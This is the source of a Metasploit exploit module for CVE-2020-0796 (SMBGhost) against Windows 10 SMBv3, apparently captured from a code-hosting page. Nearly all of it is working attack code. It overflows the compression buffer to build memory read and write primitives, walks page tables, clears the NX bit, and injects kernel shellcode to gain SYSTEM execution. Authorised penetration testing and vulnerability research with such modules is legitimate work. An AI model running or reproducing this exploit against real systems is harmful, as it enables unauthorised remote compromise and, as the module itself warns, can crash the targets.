rapid7/metasploit-framework

View on GitHub
modules/exploits/windows/smb/cve_2020_0796_smbghost.rb

Summary

Maintainability
A
0 mins
Test Coverage
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp
  prepend Msf::Exploit::Remote::AutoCheck

  LZNT1 = RubySMB::Compression::LZNT1

  # KUSER_SHARED_DATA offsets, these are defined by the module and are therefore target independent
  KSD_VA_MAP = 0x800
  KSD_VA_PMDL = 0x900
  KSD_VA_SHELLCODE = 0x950 # needs to be the highest offset for #cleanup

  MAX_READ_RETRIES = 5
  WRITE_UNIT = 0xd0

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SMBv3 Compression Buffer Overflow',
        'Description' => %q{
          A vulnerability exists within the Microsoft Server Message Block 3.1.1 (SMBv3) protocol that can be leveraged to
          execute code on a vulnerable server. This remove exploit implementation leverages this flaw to execute code
          in the context of the kernel, finally yielding a session as NT AUTHORITY\SYSTEM in spoolsv.exe. Exploitation
          can take a few minutes as the necessary data is gathered.
        },
        'Author' => [
          'hugeh0ge', # Ricerca Security research, detailed technique description
          'chompie1337', # PoC on which this module is based
          'Spencer McIntyre', # msf module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2020-0796' ],
          [ 'URL', 'https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html' ],
          [ 'URL', 'https://github.com/chompie1337/SMBGhost_RCE_PoC' ],
          # the rest are not cve-2020-0796 specific but are on topic regarding the techniques used within the exploit
          [ 'URL', 'https://www.youtube.com/watch?v=RSV3f6aEJFY&t=1865s' ],
          [ 'URL', 'https://www.coresecurity.com/core-labs/articles/getting-physical-extreme-abuse-of-intel-based-paging-systems' ],
          [ 'URL', 'https://www.coresecurity.com/core-labs/articles/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-2-windows' ],
          [ 'URL', 'https://labs.bluefrostsecurity.de/blog/2017/05/11/windows-10-hals-heap-extinction-of-the-halpinterruptcontroller-table-exploitation-technique/' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
          'WfsDelay' => 10
        },
        'Privileged' => true,
        'Payload' => {
          'Space' => 600,
          'DisableNops' => true
        },
        'Platform' => 'win',
        'Targets' => [
          [
            'Windows 10 v1903-1909 x64',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X64],
              'OverflowSize' => 0x1100,
              'LowStubFingerprint' => 0x1000600e9,
              'KuserSharedData' => 0xfffff78000000000,
              # Offset(From,To) => Bytes
              'Offset(HalpInterruptController,HalpApicRequestInterrupt)' => 0x78,
              'Offset(LowStub,SelfVA)' => 0x78,
              'Offset(LowStub,PML4)' => 0xa0,
              'Offset(SrvnetBufferHdr,pMDL1)' => 0x38,
              'Offset(SrvnetBufferHdr,pNetRawBuffer)' => 0x18
            }
          ]
        ],
        'DisclosureDate' => '2020-03-13',
        'DefaultTarget' => 0,
        'Notes' => {
          'AKA' => [ 'SMBGhost', 'CoronaBlue' ],
          'Stability' => [ CRASH_OS_RESTARTS, ],
          'Reliability' => [ REPEATABLE_SESSION, ],
          'RelatedModules' => [ 'exploit/windows/local/cve_2020_0796_smbghost' ],
          'SideEffects' => []
        }
      )
    )
    register_options([Opt::RPORT(445),])
    register_advanced_options([
      OptBool.new('DefangedMode', [true, 'Run in defanged mode', true])
    ])
  end

  def check
    begin
      client = RubySMB::Client.new(
        RubySMB::Dispatcher::Socket.new(connect(false)),
        username: '',
        password: '',
        smb1: false,
        smb2: false,
        smb3: true
      )
      protocol = client.negotiate
      client.disconnect!
    rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError
      return CheckCode::Unknown
    rescue Errno::ECONNRESET
      return CheckCode::Unknown
    rescue ::Exception => e # rubocop:disable Lint/RescueException
      vprint_error("#{rhost}: #{e.class} #{e}")
      return CheckCode::Unknown
    end

    return CheckCode::Safe unless protocol == 'SMB3'
    return CheckCode::Safe unless client.dialect == '0x0311'

    lznt1_algorithm = RubySMB::SMB2::CompressionCapabilities::COMPRESSION_ALGORITHM_MAP.key('LZNT1')
    return CheckCode::Safe unless client.server_compression_algorithms.include?(lznt1_algorithm)

    CheckCode::Detected
  end

  def smb_negotiate
    # need a custom negotiate function because the responses will be corrupt while reading memory
    sock = connect(false)
    dispatcher = RubySMB::Dispatcher::Socket.new(sock)

    packet = RubySMB::SMB2::Packet::NegotiateRequest.new
    packet.client_guid = SecureRandom.random_bytes(16)
    packet.set_dialects((RubySMB::Client::SMB2_DIALECT_DEFAULT + RubySMB::Client::SMB3_DIALECT_DEFAULT).map { |d| d.to_i(16) })

    packet.capabilities.large_mtu = 1
    packet.capabilities.encryption = 1

    nc = RubySMB::SMB2::NegotiateContext.new(
      context_type: RubySMB::SMB2::NegotiateContext::SMB2_PREAUTH_INTEGRITY_CAPABILITIES
    )
    nc.data.hash_algorithms << RubySMB::SMB2::PreauthIntegrityCapabilities::SHA_512
    nc.data.salt = "\x00" * 32
    packet.add_negotiate_context(nc)

    nc = RubySMB::SMB2::NegotiateContext.new(
      context_type: RubySMB::SMB2::NegotiateContext::SMB2_COMPRESSION_CAPABILITIES
    )
    nc.data.flags = 1
    nc.data.compression_algorithms << RubySMB::SMB2::CompressionCapabilities::LZNT1
    packet.add_negotiate_context(nc)

    dispatcher.send_packet(packet)
    dispatcher
  end

  def write_primitive(data, addr)
    dispatcher = smb_negotiate
    dispatcher.tcp_socket.get_once  # disregard the response

    uncompressed_data = rand(0x41..0x5a).chr * (target['OverflowSize'] - data.length)
    uncompressed_data << "\x00" * target['Offset(SrvnetBufferHdr,pNetRawBuffer)']
    uncompressed_data << [ addr ].pack('Q<')

    pkt = RubySMB::SMB2::Packet::CompressionTransformHeader.new(
      original_compressed_segment_size: 0xffffffff,
      compression_algorithm: RubySMB::SMB2::CompressionCapabilities::LZNT1,
      offset: data.length,
      compressed_data: (data + LZNT1.compress(uncompressed_data)).bytes
    )
    dispatcher.send_packet(pkt)
    dispatcher.tcp_socket.close
  end

  def write_srvnet_buffer_hdr(data, offset)
    dispatcher = smb_negotiate
    dispatcher.tcp_socket.get_once  # disregard the response

    dummy_data = rand(0x41..0x5a).chr * (target['OverflowSize'] + offset)
    pkt = RubySMB::SMB2::Packet::CompressionTransformHeader.new(
      original_compressed_segment_size: 0xffffefff,
      compression_algorithm: RubySMB::SMB2::CompressionCapabilities::LZNT1,
      offset: dummy_data.length,
      compressed_data: (dummy_data + CorruptLZNT1.compress(data)).bytes
    )
    dispatcher.send_packet(pkt)
    dispatcher.tcp_socket.close
  end

  def read_primitive(phys_addr)
    value = @memory_cache[phys_addr]
    return value unless value.nil?

    vprint_status("Reading from physical memory at index: 0x#{phys_addr.to_s(16).rjust(16, '0')}")
    fake_mdl = MDL.new(
      mdl_size: 0x48,
      mdl_flags: 0x5018,
      mapped_system_va: (target['KuserSharedData'] + KSD_VA_MAP),
      start_va: ((target['KuserSharedData'] + KSD_VA_MAP) & ~0xfff),
      byte_count: 600,
      byte_offset: ((phys_addr & 0xfff) + 0x4)
    )
    phys_addr_enc = (phys_addr & 0xfffffffffffff000) >> 12

    (MAX_READ_RETRIES * 2).times do |try|
      write_primitive(fake_mdl.to_binary_s + ([ phys_addr_enc ] * 3).pack('Q<*'), (target['KuserSharedData'] + KSD_VA_PMDL))
      write_srvnet_buffer_hdr([(target['KuserSharedData'] + KSD_VA_PMDL)].pack('Q<'), target['Offset(SrvnetBufferHdr,pMDL1)'])

      MAX_READ_RETRIES.times do |_|
        dispatcher = smb_negotiate
        blob = dispatcher.tcp_socket.get_once
        dispatcher.tcp_socket.close
        next '' if blob.nil?
        next if blob[4..7] == "\xfeSMB".b

        @memory_cache[phys_addr] = blob
        return blob
      end
      sleep try**2
    end

    fail_with(Failure::Unknown, 'Failed to read physical memory')
  end

  def find_low_stub
    common = [0x13000].to_enum # try the most common value first
    all = (0x1000..0x100000).step(0x1000)
    (common + all).each do |index|
      buff = read_primitive(index)
      entry = buff.unpack('Q<').first
      next unless (entry & 0xffffffffffff00ff) == (target['LowStubFingerprint'] & 0xffffffffffff00ff)

      lowstub_va = buff[target['Offset(LowStub,SelfVA)']...(target['Offset(LowStub,SelfVA)'] + 8)].unpack('Q<').first
      print_status("Found low stub at physical address 0x#{index.to_s(16).rjust(16, '0')}, virtual address 0x#{lowstub_va.to_s(16).rjust(16, '0')}")
      pml4 = buff[target['Offset(LowStub,PML4)']...(target['Offset(LowStub,PML4)'] + 8)].unpack('Q<').first
      print_status("Found PML4 at 0x#{pml4.to_s(16).rjust(16, '0')} " + { 0x1aa000 => '(BIOS)', 0x1ad000 => '(UEFI)' }.fetch(pml4, ''))

      phal_heap = lowstub_va & 0xffffffffffff0000
      print_status("Found HAL heap at 0x#{phal_heap.to_s(16).rjust(16, '0')}")

      return { pml4: pml4, phal_heap: phal_heap }
    end

    fail_with(Failure::Unknown, 'Failed to find the low stub')
  end

  def find_pml4_selfref(pointers)
    search_len = 0x1000
    index = pointers[:pml4]

    while search_len > 0
      buff = read_primitive(index)
      buff = buff[0...-(buff.length % 8)]
      buff.unpack('Q<*').each_with_index do |entry, i|
        entry &= 0xfffff000
        next unless entry == pointers[:pml4]

        selfref = ((index + (i * 8)) & 0xfff) >> 3
        pointers[:pml4_selfref] = selfref
        print_status("Found PML4 self-reference entry at 0x#{selfref.to_s(16).rjust(4, '0')}")
        return pointers
      end
      search_len -= [buff.length, 8].max
      index += [buff.length, 8].max
    end

    fail_with(Failure::Unknown, 'Failed to leak the PML4 self reference')
  end

  def get_phys_addr(pointers, va_addr)
    pml4_index = (((1 << 9) - 1) & (va_addr >> (40 - 1)))
    pdpt_index = (((1 << 9) - 1) & (va_addr >> (31 - 1)))
    pdt_index = (((1 << 9) - 1) & (va_addr >> (22 - 1)))
    pt_index = (((1 << 9) - 1) & (va_addr >> (13 - 1)))

    pml4e = pointers[:pml4] + pml4_index * 8
    pdpt_buff = read_primitive(pml4e)

    pdpt = pdpt_buff.unpack('Q<').first & 0xfffff000
    pdpte = pdpt + pdpt_index * 8
    pdt_buff = read_primitive(pdpte)

    pdt = pdt_buff.unpack('Q<').first & 0xfffff000
    pdte = pdt + pdt_index * 8
    pt_buff = read_primitive(pdte)

    pt = pt_buff.unpack('Q<').first
    unless pt & (1 << 7) == 0
      return (pt & 0xfffff000) + (pt_index & 0xfff) * 0x1000 + (va_addr & 0xfff)
    end

    pt &= 0xfffff000
    pte = pt + pt_index * 8
    pte_buff = read_primitive(pte)
    (pte_buff.unpack('Q<').first & 0xfffff000) + (va_addr & 0xfff)
  end

  def disable_nx(pointers, addr)
    lb = (0xffff << 48) | (pointers[:pml4_selfref] << 39)
    ub = ((0xffff << 48) | (pointers[:pml4_selfref] << 39) + 0x8000000000 - 1) & 0xfffffffffffffff8
    pte_va = ((addr >> 9) | lb) & ub

    phys_addr = get_phys_addr(pointers, pte_va)
    orig_val = read_primitive(phys_addr).unpack1('Q<')
    overwrite_val = orig_val & ((1 << 63) - 1)
    write_primitive([ overwrite_val ].pack('Q<'), pte_va)
    { pte_va: pte_va, original: orig_val }
  end

  def search_hal_heap(pointers)
    va_cursor = pointers[:phal_heap]
    end_va = va_cursor + 0x20000

    while va_cursor < end_va
      phys_addr = get_phys_addr(pointers, va_cursor)
      buff = read_primitive(phys_addr)
      buff = buff[0...-(buff.length % 8)]
      values = buff.unpack('Q<*')
      window_size = 8 # using a sliding window to fingerprint the memory
      0.upto(values.length - window_size) do |i| # TODO: if the heap structure exists over two pages, this will break
        va = va_cursor + (i * 8)
        window = values[i...(i + window_size)]
        next unless window[0...3].all? { |value| value & 0xfffff00000000000 == 0xfffff00000000000 }
        next unless window[4...8].all? { |value| value & 0xffffff0000000000 == 0xfffff80000000000 }
        next unless window[3].between?(0x20, 0x40)
        next unless (window[0] - window[2]).between?(0x80, 0x180)

        phalp_ari = read_primitive(get_phys_addr(pointers, va) + target['Offset(HalpInterruptController,HalpApicRequestInterrupt)']).unpack('Q<').first
        next if read_primitive(get_phys_addr(pointers, phalp_ari))[0...8] != "\x48\x89\x6c\x24\x20\x56\x41\x54" # mov qword ptr [rsp+20h], rbp; push rsi; push r12

        # looks legit (TM), lets hope for the best
        # use WinDBG to validate the hal!HalpInterruptController value manually
        # 0: kd> dq poi(hal!HalpInterruptController) L1
        pointers[:pHalpInterruptController] = va
        print_status("Found hal!HalpInterruptController at 0x#{va.to_s(16).rjust(16, '0')}")

        # use WinDBG to validate the hal!HalpApicRequestInterrupt value manually
        # 0: kd> dq u poi(poi(hal!HalpInterruptController)+78) L1
        pointers[:pHalpApicRequestInterrupt] = phalp_ari
        print_status("Found hal!HalpApicRequestInterrupt at 0x#{phalp_ari.to_s(16).rjust(16, '0')}")
        return pointers
      end

      va_cursor += buff.length
    end
    fail_with(Failure::Unknown, 'Failed to leak the address of hal!HalpInterruptController')
  end

  def build_shellcode(pointers)
    source = File.read(File.join(Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2020-0796', 'RCE', 'kernel_shellcode.asm'), mode: 'rb')
    edata = Metasm::Shellcode.assemble(Metasm::X64.new, source).encoded
    user_shellcode = payload.encoded
    edata.fixup 'PHALP_APIC_REQUEST_INTERRUPT' => pointers[:pHalpApicRequestInterrupt]
    edata.fixup 'PPHALP_APIC_REQUEST_INTERRUPT' => pointers[:pHalpInterruptController] + target['Offset(HalpInterruptController,HalpApicRequestInterrupt)']
    edata.fixup 'USER_SHELLCODE_SIZE' => user_shellcode.length
    edata.data + user_shellcode
  end

  def exploit
    if datastore['DefangedMode']
      warning = <<~EOF


        Are you SURE you want to execute this module? There is a high probability that even when the exploit is
        successful the remote target will crash within about 90 minutes.

        Disable the DefangedMode option to proceed.
      EOF

      fail_with(Failure::BadConfig, warning)
    end

    fail_with(Failure::BadConfig, "Incompatible payload: #{datastore['PAYLOAD']} (must be x64)") unless payload.arch.include? ARCH_X64
    @memory_cache = {}
    @shellcode_length = 0
    pointers = find_low_stub
    pointers = find_pml4_selfref(pointers)
    pointers = search_hal_heap(pointers)

    @nx_info = disable_nx(pointers, target['KuserSharedData'])
    print_status('KUSER_SHARED_DATA PTE NX bit cleared!')

    shellcode = build_shellcode(pointers)
    vprint_status("Transferring #{shellcode.length} bytes of shellcode...")
    @shellcode_length = shellcode.length
    write_bytes = 0
    while write_bytes < @shellcode_length
      write_sz = [WRITE_UNIT, @shellcode_length - write_bytes].min
      write_primitive(shellcode[write_bytes...(write_bytes + write_sz)], (target['KuserSharedData'] + KSD_VA_SHELLCODE) + write_bytes)
      write_bytes += write_sz
    end
    vprint_status('Transfer complete, hooking hal!HalpApicRequestInterrupt to trigger execution...')
    write_primitive([(target['KuserSharedData'] + KSD_VA_SHELLCODE)].pack('Q<'), pointers[:pHalpInterruptController] + target['Offset(HalpInterruptController,HalpApicRequestInterrupt)'])
  end

  def cleanup
    return unless @memory_cache&.present?

    if @nx_info&.present?
      print_status('Restoring the KUSER_SHARED_DATA PTE NX bit...')
      write_primitive([ @nx_info[:original] ].pack('Q<'), @nx_info[:pte_va])
    end

    # need to restore the contents of KUSER_SHARED_DATA to zero to avoid a bugcheck
    vprint_status('Cleaning up the contents of KUSER_SHARED_DATA...')
    start_va = target['KuserSharedData'] + KSD_VA_MAP - WRITE_UNIT
    end_va = target['KuserSharedData'] + KSD_VA_SHELLCODE + @shellcode_length
    (start_va..end_va).step(WRITE_UNIT).each do |cursor|
      write_primitive("\x00".b * [WRITE_UNIT, end_va - cursor].min, cursor)
    end
  end

  module CorruptLZNT1
    def self.compress(buf, chunk_size: 0x1000)
      out = ''
      until buf.empty?
        chunk = buf[0...chunk_size]
        compressed = LZNT1.compress_chunk(chunk)

        # always use the compressed chunk, even if it's larger
        out << [ 0xb000 | (compressed.length - 1) ].pack('v')
        out << compressed

        buf = buf[chunk_size..]
        break if buf.nil?
      end

      out << [ 0x1337 ].pack('v')
      out
    end
  end

  class MDL < BinData::Record
    # https://www.vergiliusproject.com/kernels/x64/Windows%2010%20%7C%202016/1909%2019H2%20(November%202019%20Update)/_MDL
    endian :little
    uint64 :next_mdl
    uint16 :mdl_size
    uint16 :mdl_flags
    uint16 :allocation_processor_number
    uint16 :reserved
    uint64 :process
    uint64 :mapped_system_va
    uint64 :start_va
    uint32 :byte_count
    uint32 :byte_offset
  end
end